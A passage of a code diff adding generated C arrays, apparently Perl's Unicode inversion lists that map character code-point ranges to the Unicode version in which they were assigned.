+	0x1F0B1,
+	0x1F0BF,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0E0,
+	0x1F130,
+	0x1F131,
+	0x1F132,
+	0x1F13D,
+	0x1F13E,
+	0x1F13F,
+	0x1F140,
+	0x1F142,
+	0x1F143,
+	0x1F146,
+	0x1F147,
+	0x1F14A,
+	0x1F14F,
+	0x1F157,
+	0x1F158,
+	0x1F15F,
+	0x1F160,
+	0x1F16A,
+	0x1F170,
+	0x1F179,
+	0x1F17A,
+	0x1F17B,
+	0x1F17D,
+	0x1F17F,
+	0x1F180,
+	0x1F18A,
+	0x1F18E,
+	0x1F190,
+	0x1F191,
+	0x1F19B,
+	0x1F1E6,
+	0x1F200,
+	0x1F201,
+	0x1F203,
+	0x1F232,
+	0x1F23B,
+	0x1F250,
+	0x1F252,
+	0x1F300,
+	0x1F321,
+	0x1F330,
+	0x1F336,
+	0x1F337,
+	0x1F37D,
+	0x1F380,
+	0x1F394,
+	0x1F3A0,
+	0x1F3C5,
+	0x1F3C6,
+	0x1F3CB,
+	0x1F3E0,
+	0x1F3F1,
+	0x1F400,
+	0x1F43F,
+	0x1F440,
+	0x1F441,
+	0x1F442,
+	0x1F4F8,
+	0x1F4F9,
+	0x1F4FD,
+	0x1F500,
+	0x1F53E,
+	0x1F550,
+	0x1F568,
+	0x1F5FB,
+	0x1F600,
+	0x1F601,
+	0x1F611,
+	0x1F612,
+	0x1F615,
+	0x1F616,
+	0x1F617,
+	0x1F618,
+	0x1F619,
+	0x1F61A,
+	0x1F61B,
+	0x1F61C,
+	0x1F61F,
+	0x1F620,
+	0x1F626,
+	0x1F628,
+	0x1F62C,
+	0x1F62D,
+	0x1F62E,
+	0x1F630,
+	0x1F634,
+	0x1F635,
+	0x1F641,
+	0x1F645,
+	0x1F650,
+	0x1F680,
+	0x1F6C6,
+	0x1F700,
+	0x1F774,
+	0x2B740,
+	0x2B81E
+};
+
+static const UV PL_AGE__6_DOT_1_invlist[] = { /* for all charsets */
+	179,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x58F,
+	0x590,
+	0x604,
+	0x605,
+	0x8A0,
+	0x8A1,
+	0x8A2,
+	0x8AD,
+	0x8E4,
+	0x8FF,
+	0xAF0,
+	0xAF1,
+	0xEDE,
+	0xEE0,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10FD,
+	0x1100,
+	0x1BAB,
+	0x1BAE,
+	0x1BBA,
+	0x1BC0,
+	0x1CC0,
+	0x1CC8,
+	0x1CF3,
+	0x1CF7,
+	0x27CB,
+	0x27CC,
+	0x27CD,
+	0x27CE,
+	0x2CF2,
+	0x2CF4,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D66,
+	0x2D68,
+	0x2E32,
+	0x2E3C,
+	0x9FCC,
+	0x9FCD,
+	0xA674,
+	0xA67C,
+	0xA69F,
+	0xA6A0,
+	0xA792,
+	0xA794,
+	0xA7AA,
+	0xA7AB,
+	0xA7F8,
+	0xA7FA,
+	0xAAE0,
+	0xAAF7,
+	0xFA2E,
+	0xFA30,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11180,
+	0x111C9,
+	0x111D0,
+	0x111DA,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F16A,
+	0x1F16C,
+	0x1F540,
+	0x1F544,
+	0x1F600,
+	0x1F601,
+	0x1F611,
+	0x1F612,
+	0x1F615,
+	0x1F616,
+	0x1F617,
+	0x1F618,
+	0x1F619,
+	0x1F61A,
+	0x1F61B,
+	0x1F61C,
+	0x1F61F,
+	0x1F620,
+	0x1F626,
+	0x1F628,
+	0x1F62C,
+	0x1F62D,
+	0x1F62E,
+	0x1F630,
+	0x1F634,
+	0x1F635
+};
+
+static const UV PL_AGE__6_DOT_2_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x20BA,
+	0x20BB
+};
+
+static const UV PL_AGE__6_DOT_3_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x61C,
+	0x61D,
+	0x2066,
+	0x206A
+};
+
+static const UV PL_AGE__7_invlist[] = { /* for all charsets */
+	283,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x37F,
+	0x380,
+	0x528,
+	0x530,
+	0x58D,
+	0x58F,
+	0x605,
+	0x606,
+	0x8A1,
+	0x8A2,
+	0x8AD,
+	0x8B3,
+	0x8FF,
+	0x900,
+	0x978,
+	0x979,
+	0x980,
+	0x981,
+	0xC00,
+	0xC01,
+	0xC34,
+	0xC35,
+	0xC81,
+	0xC82,
+	0xD01,
+	0xD02,
+	0xDE6,
+	0xDF0,
+	0x16F1,
+	0x16F9,
+	0x191D,
+	0x191F,
+	0x1AB0,
+	0x1ABF,
+	0x1CF8,
+	0x1CFA,
+	0x1DE7,
+	0x1DF6,
+	0x20BB,
+	0x20BE,
+	0x23F4,
+	0x23FB,
+	0x2700,
+	0x2701,
+	0x2B4D,
+	0x2B50,
+	0x2B5A,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD2,
+	0x2E3C,
+	0x2E43,
+	0xA698,
+	0xA69E,
+	0xA794,
+	0xA7A0,
+	0xA7AB,
+	0xA7AE,
+	0xA7B0,
+	0xA7B2,
+	0xA7F7,
+	0xA7F8,
+	0xA9E0,
+	0xA9FF,
+	0xAA7C,
+	0xAA80,
+	0xAB30,
+	0xAB60,
+	0xAB64,
+	0xAB66,
+	0xFE27,
+	0xFE2E,
+	0x1018B,
+	0x1018D,
+	0x101A0,
+	0x101A1,
+	0x102E0,
+	0x102FC,
+	0x1031F,
+	0x10320,
+	0x10350,
+	0x1037B,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10860,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x10A80,
+	0x10AA0,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7,
+	0x10B80,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x1107F,
+	0x11080,
+	0x11150,
+	0x11177,
+	0x111CD,
+	0x111CE,
+	0x111DA,
+	0x111DB,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123E,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11301,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11480,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115CA,
+	0x11600,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11AC0,
+	0x11AF9,
+	0x1236F,
+	0x12399,
+	0x12463,
+	0x1246F,
+	0x12474,
+	0x12475,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF6,
+	0x16B00,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA4,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D7,
+	0x1F0BF,
+	0x1F0C0,
+	0x1F0E0,
+	0x1F0F6,
+	0x1F10B,
+	0x1F10D,
+	0x1F321,
+	0x1F32D,
+	0x1F336,
+	0x1F337,
+	0x1F37D,
+	0x1F37E,
+	0x1F394,
+	0x1F3A0,
+	0x1F3C5,
+	0x1F3C6,
+	0x1F3CB,
+	0x1F3CF,
+	0x1F3D4,
+	0x1F3E0,
+	0x1F3F1,
+	0x1F3F8,
+	0x1F43F,
+	0x1F440,
+	0x1F441,
+	0x1F442,
+	0x1F4F8,
+	0x1F4F9,
+	0x1F4FD,
+	0x1F4FF,
+	0x1F53E,
+	0x1F540,
+	0x1F544,
+	0x1F54B,
+	0x1F568,
+	0x1F57A,
+	0x1F57B,
+	0x1F5A4,
+	0x1F5A5,
+	0x1F5FB,
+	0x1F641,
+	0x1F643,
+	0x1F650,
+	0x1F680,
+	0x1F6C6,
+	0x1F6D0,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F4,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE
+};
+
+static const UV PL_AGE__8_invlist[] = { /* for all charsets */
+	119,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x8B3,
+	0x8B5,
+	0x8E3,
+	0x8E4,
+	0xAF9,
+	0xAFA,
+	0xC5A,
+	0xC5B,
+	0xD5F,
+	0xD60,
+	0x13F5,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x20BE,
+	0x20BF,
+	0x218A,
+	0x218C,
+	0x2BEC,
+	0x2BF0,
+	0x9FCD,
+	0x9FD6,
+	0xA69E,
+	0xA69F,
+	0xA78F,
+	0xA790,
+	0xA7B2,
+	0xA7B8,
+	0xA8FC,
+	0xA8FE,
+	0xAB60,
+	0xAB64,
+	0xAB70,
+	0xABC0,
+	0xFE2E,
+	0xFE30,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x10900,
+	0x109BC,
+	0x109BE,
+	0x109C0,
+	0x109D0,
+	0x109D2,
+	0x10A00,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x111C9,
+	0x111CD,
+	0x111DB,
+	0x111E0,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x11300,
+	0x11301,
+	0x11350,
+	0x11351,
+	0x115CA,
+	0x115DE,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x11740,
+	0x12399,
+	0x1239A,
+	0x12480,
+	0x12544,
+	0x14400,
+	0x14647,
+	0x1D1DE,
+	0x1D1E9,
+	0x1D800,
+	0x1DA8C,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1F32D,
+	0x1F330,
+	0x1F37E,
+	0x1F380,
+	0x1F3CF,
+	0x1F3D4,
+	0x1F3F8,
+	0x1F400,
+	0x1F4FF,
+	0x1F500,
+	0x1F54B,
+	0x1F550,
+	0x1F643,
+	0x1F645,
+	0x1F6D0,
+	0x1F6D1,
+	0x1F910,
+	0x1F919,
+	0x1F980,
+	0x1F985,
+	0x1F9C0,
+	0x1F9C1,
+	0x2B820,
+	0x2CEA2
+};
+
+static const UV PL_AGE__9_invlist[] = { /* for all charsets */
+	105,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E3,
+	0xC80,
+	0xC81,
+	0xD4F,
+	0xD50,
+	0xD54,
+	0xD57,
+	0xD58,
+	0xD5F,
+	0xD76,
+	0xD79,
+	0x1C80,
+	0x1C89,
+	0x1DFB,
+	0x1DFC,
+	0x23FB,
+	0x23FF,
+	0x2E43,
+	0x2E45,
+	0xA7AE,
+	0xA7AF,
+	0xA8C5,
+	0xA8C6,
+	0x1018D,
+	0x1018F,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x1123E,
+	0x1123F,
+	0x11400,
+	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x11660,
+	0x1166D,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C46,
+	0x11C50,
+	0x11C6D,
+	0x11C70,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x16FE0,
+	0x16FE1,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
 	0x1E000,
 	0x1E007,
 	0x1E008,
@@ -56183,12 +172414,1187 @@
 	0x1E025,
 	0x1E026,
 	0x1E02B,
+	0x1E900,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
+	0x1F19B,
+	0x1F1AD,
+	0x1F23B,
+	0x1F23C,
+	0x1F57A,
+	0x1F57B,
+	0x1F5A4,
+	0x1F5A5,
+	0x1F6D1,
+	0x1F6D3,
+	0x1F6F4,
+	0x1F6F7,
+	0x1F919,
+	0x1F91F,
+	0x1F920,
+	0x1F928,
+	0x1F930,
+	0x1F931,
+	0x1F933,
+	0x1F93F,
+	0x1F940,
+	0x1F94C,
+	0x1F950,
+	0x1F95F,
+	0x1F985,
+	0x1F992
+};
+
+static const UV PL_AGE__NA_invlist[] = { /* for all charsets */
+	1318,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x378,
+	0x37A,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58D,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x61D,
+	0x61E,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FE,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF2,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD50,
+	0xD54,
+	0xD64,
+	0xD66,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BF4,
+	0x1BFC,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CFA,
+	0x1D00,
+	0x1DFA,
+	0x1DFB,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2065,
+	0x2066,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20C0,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CF4,
+	0x2CF9,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA6F8,
+	0xA700,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C6,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8FE,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAAC3,
+	0xAADB,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xD800,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDD0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
